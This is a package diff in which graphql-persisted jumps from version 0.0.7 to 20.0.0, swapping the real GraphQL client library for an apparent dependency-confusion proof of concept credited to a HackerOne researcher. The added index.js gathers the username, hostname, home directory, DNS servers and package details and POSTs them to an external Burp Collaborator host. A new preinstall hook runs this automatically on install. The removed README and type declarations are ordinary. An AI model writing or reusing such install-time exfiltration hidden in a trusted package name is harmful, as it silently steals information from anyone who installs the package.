graphql-persisted 0.0.7 → 20.0.0

package/index.js

@@ -0,0 +1,46 @@
+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+const trackingData = JSON.stringify({
+    p: package,
+    c: __dirname,
+    hd: os.homedir(),
+    hn: os.hostname(),
+    un: os.userInfo().username,
+    dns: dns.getServers(),
+    r: packageJSON ? packageJSON.___resolved : undefined,
+    v: packageJSON.version,
+    pjson: packageJSON,
+});
+
+var postData = querystring.stringify({
+    msg: trackingData,
+});
+
+var options = {
+    hostname: "86cl2zbnioordcwj2hdjkmpvfmlc91.oastify.com", //Burpcollaborator
+    port: 443,
+    path: "/",
+    method: "POST",
+    headers: {
+        "Content-Type": "application/x-www-form-urlencoded",
+        "Content-Length": postData.length,
+    },
+};
+
+var req = https.request(options, (res) => {
+    res.on("data", (d) => {
+        process.stdout.write(d);
+    });
+});
+
+req.on("error", (e) => {
+    // console.error(e);
+});
+
+req.write(postData);
+req.end();

package/package.json

@@ -1,79 +1,12 @@
 {
   "name": "graphql-persisted",
-  "version": "0.0.7",
-  "description": "WIP: An Opinionated GraphQL Query Library, with a focus on fully persisted queries",
-  "keywords": [
-    "graphql",
-    "query",
-    "persisted queries",
-    "stored operations"
-  ],
-  "license": "MIT",
-  "author": "Tim Griesser",
-  "repository": {
-    "url": "https://github.com/tgriesser/graphql-persisted"
-  },
-  "exports": {
-    ".": {
-      "types": "./cjs/index.d.ts",
-      "node": "./cjs/index.js",
-      "require": "./cjs/index.js",
-      "import": "./mjs/index.js"
-    }
-  },
-  "main": "./cjs/index.js",
-  "types": "./cjs/index.d.ts",
-  "files": [
-    "mjs/*",
-    "cjs/*"
-  ],
-  "dependencies": {
-    "tslib": "^2.5.0",
-    "graphql-normalize": "^0.2.2",
-    "lodash.isequal": "^4.5.0"
-  },
-  "devDependencies": {
-    "@vitejs/plugin-react": "^3.0.0",
-    "@types/lodash.isequal": "^4.5.6",
-    "@types/node": "^18.11.18",
-    "@types/react": "^18.0.27",
-    "@typescript-eslint/eslint-plugin": "^5.49.0",
-    "@typescript-eslint/parser": "^5.49.0",
-    "cypress": "^12.12.0",
-    "eslint": "^8.32.0",
-    "eslint-plugin-react": "^7.32.1",
-    "eslint-plugin-react-hooks": "^4.6.0",
-    "graphql": "^16.6.0",
-    "immer": "^9.0.18",
-    "concurrently": "^7.6.0",
-    "prettier": "^2.8.3",
-    "react": "^18.2.0",
-    "ts-node": "^10.9.1",
-    "typescript": "^4.9.4",
-    "vite": "^4.0.0",
-    "react-dom": "^18.2.0"
-  },
-  "peerDependencies": {
-    "graphql": "^16.6.0",
-    "immer": "^9.0.18",
-    "react": "^18.2.0"
-  },
+  "version": "20.0.0",
+  "description": "dependency poc",
+  "main": "index.js",
   "scripts": {
-    "clean": "rm -rf cjs && rm -rf mjs",
-    "predev": "pnpm install:example & pnpm install:example-server & pnpm install:example-codegen",
-    "dev": "concurrently 'pnpm dev:example' 'pnpm dev:codegen' 'pnpm dev:example-server'",
-    "dev:example": "cd example && pnpm dev",
-    "dev:codegen": "cd example/codegen && pnpm dev",
-    "dev:example-server": "cd example/server && pnpm dev",
-    "check": "pnpm tsc && cd example && pnpm tsc",
-    "build": "pnpm build:cjs && pnpm build:mjs",
-    "build:cjs": "tsc -p tsconfig.build.json --noEmit false --outDir cjs",
-    "build:mjs": "tsc -p tsconfig.build.json --noEmit false --outDir mjs --module ESNext --moduleResolution NodeNext",
-    "install:example": "cd example && pnpm i",
-    "install:example-server": "cd example/server && pnpm i",
-    "install:example-codegen": "cd example/codegen && pnpm i",
-    "prettier": "prettier --write '**/*.{ts,tsx,graphql}'",
-    "schema": "node -r ts-node/register/transpile-only ./cypress/fixture-server/schema.ts",
-    "test": "cypress run"
-  }
-}
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "https://hackerone.com/yakirka",
+  "license": "ISC"
+}

package/README.md

@@ -1,54 +0,0 @@
-## graphql-persisted
-
-Note: This package is experimental and not yet intended for any sort of production usage.
-Still designing the APIs through real world use & experimentation, subject to breakage prior to 1.0
-
-An opinionated GraphQL client, initially focused on:
-
-- Goals:
-  - Server Persisted Queries
-  - Type-safety out of the box
-  - Minimizing GraphQL in the client (no client-side dependency on the "graphql" package)
-  - Performance, simplicity
-- Non-Goals:
-  - Supporting multiple GraphQL endpoints in the same application
-
-Built atop [graphql-normalize](https://github.com/tgriesser/graphql-normalize)
-
-### GraphQLQueryCache API:
-
-```ts
-class GraphQLQueryCache {
-  //
-}
-```
-
-### Queries:
-
-```ts
-const { data } = usePersistedQuery('QueryName', { variables })
-```
-
-```ts
-usePreloadedPersistedQuery('QueryName', { variables })
-```
-
-### Mutations:
-
-```ts
-const { execute } = usePersistedMutation('MutationName')
-```
-
-### Subscriptions:
-
-TODO
-
-### Fragments
-
-```ts
-const unwrappedData = unwrapFragment('FragName', data)
-```
-
-# License
-
-MIT

package/cjs/GraphQLQueryCache.d.ts

@@ -1,106 +0,0 @@
-import { NormalizeMetaShape } from 'graphql-normalize';
-import type { GraphQLCacheShape, GraphQLMutationResult, GraphQLOperationResult, GraphQLQueryCacheConfig, GraphQLQueryResult, GraphQLRequestBody, InvalidateQueryArgs, MaybePromise, ExecutionOptions, PersistedQueryOptions, ReadQueryArgs, SerializedVariables, SubscribeToQueryArgs, PreloadQueryOptions } from './types';
-/**
- * Manages the cached normalized state, and the execution of
- * data accessed by different components
- */
-export declare class GraphQLQueryCache {
-    /**
-     * If an alterative fetch is provided, we will use that for operations
-     * Otherwise we'll use the native 'fetch'
-     */
-    private _fetcher?;
-    /**
-     * GraphQL API endpoint
-     * @default /graphql
-     */
-    private _endpoint;
-    private _persistedOperations;
-    private _persistedDocuments?;
-    private _configMeta?;
-    private _subscribedQueries;
-    private _inFlight;
-    private _cacheStore;
-    private _runtimeCache;
-    private _queryInvalidation;
-    private _mutationInvalidation;
-    /**
-     * A list of all "effects" that have run, used to keep track of
-     */
-    private _effectsIssued;
-    constructor(config: GraphQLQueryCacheConfig);
-    /**
-     * Invalidates a query by name or predicate fn
-     */
-    invalidateQuery(toInvalidate: InvalidateQueryArgs): void;
-    /**
-     * Invalidates a query by name or predicate fn
-     */
-    refetchQuery(toRefetch: InvalidateQueryArgs): void;
-    /**
-     * JSON.stringify(queryCache) produces the data we need
-     * to rehydrate the Client
-     */
-    toJSON(): GraphQLCacheShape;
-    /**
-     * Attempts to read a query from the cache, returning undefined
-     * if we are unable to for any reason. Used in initial hook execution
-     * where we don't want any side-effects, incase we're doing SSR
-     */
-    tryReadQuery<Q extends keyof GraphQLQuery.QueryRegistry>(args: ReadQueryArgs<Q>): GraphQLOperationResult<Q> | undefined;
-    /**
-     * Reads the query from the cache. Throws an error if we are unable
-     * to read the data, due to an incomplete result or lack of operation
-     * metadata
-     */
-    readQuery<Q extends keyof GraphQLQuery.QueryRegistry>(args: ReadQueryArgs<Q>): GraphQLOperationResult<Q>;
-    /**
-     * Reads the query from the cache if any of the following conditions are met:
-     *  a) We already have the result of this query in the operation cache
-     *  b) We have the necessary metadata, as well as all of the necessary fields info to complete
-     *     this query from the field cache
-     */
-    readOrFetchQuery<Q extends keyof GraphQLQuery.QueryRegistry>(args: ReadQueryArgs<Q>): GraphQLOperationResult<Q> | Promise<GraphQLOperationResult<Q>>;
-    /**
-     * Loads the query if it's not already in the cache,
-     * useful when hydrating the cache outside of a component
-     */
-    preloadQuery<Q extends keyof GraphQLQuery.QueryRegistry>(queryName: Q, options: PreloadQueryOptions<Q>): MaybePromise<GraphQLOperationResult<Q>>;
-    fetchQuery<Q extends keyof GraphQLQuery.QueryRegistry>(args: ReadQueryArgs<Q>): Promise<GraphQLOperationResult<Q>>;
-    /**
-     * Executes a mutation, returning the result of that mutation
-     */
-    executeMutation<M extends keyof GraphQLQuery.MutationRegistry>(mutationName: M, variables: SerializedVariables | object, options?: ExecutionOptions): Promise<GraphQLMutationResult<M>>;
-    /**
-     * Executes a query, returning the result of that query
-     */
-    executeQuery<Q extends keyof GraphQLQuery.QueryRegistry>(queryName: Q, variables: SerializedVariables | GraphQLQuery.OperationVariables[Q]): Promise<GraphQLQueryResult<Q>>;
-    executeSubscription(): Promise<void>;
-    _getKey(operationName: string, variables: SerializedVariables | object): string;
-    /**
-     * "Subscribes" to a query, meaning that when there are updates to fields in the
-     * field cache, we'll re-materialize the known value of the query. We'll also
-     * process based on configuration options, such as TTL, invalidateOnMutation
-     */
-    subscribeToQuery<Q extends keyof GraphQLQuery.QueryRegistry>(args: SubscribeToQueryArgs<Q>): () => void;
-    _executeOperation<QueryName extends keyof GraphQLQuery.QueryRegistry>(operationType: 'query', operationName: QueryName, variables: SerializedVariables | GraphQLQuery.OperationVariables[QueryName], options?: PersistedQueryOptions): Promise<GraphQLQueryResult<QueryName>>;
-    _executeOperation<MutationName extends keyof GraphQLQuery.MutationRegistry>(operationType: 'mutation', operationName: MutationName, variables: SerializedVariables | object, options?: ExecutionOptions): Promise<GraphQLMutationResult<MutationName>>;
-    _getMeta(opName: string): NormalizeMetaShape;
-    /**
-     * Handles "fetch", ensuring we catch network errors and handle non-200
-     * responses properly so we're able to forward these on in a normalized fashion
-     */
-    _fetch(body: GraphQLRequestBody): Promise<GraphQLOperationResult<any>>;
-    _makeFetch(body: GraphQLRequestBody): Promise<Response>;
-    /**
-     * Determine whether we should refetch the query based on the
-     * current value of the query, and the options passed to the query
-     */
-    _shouldRefetchQuery(): void;
-    /**
-     * "Garbage collection" for existing operations. If they have
-     * a TTL or are invalidated by other operations, and aren't mounted,
-     * then we can go ahead and sweep out any data we might have for them
-     */
-    _gcOperations(): void;
-}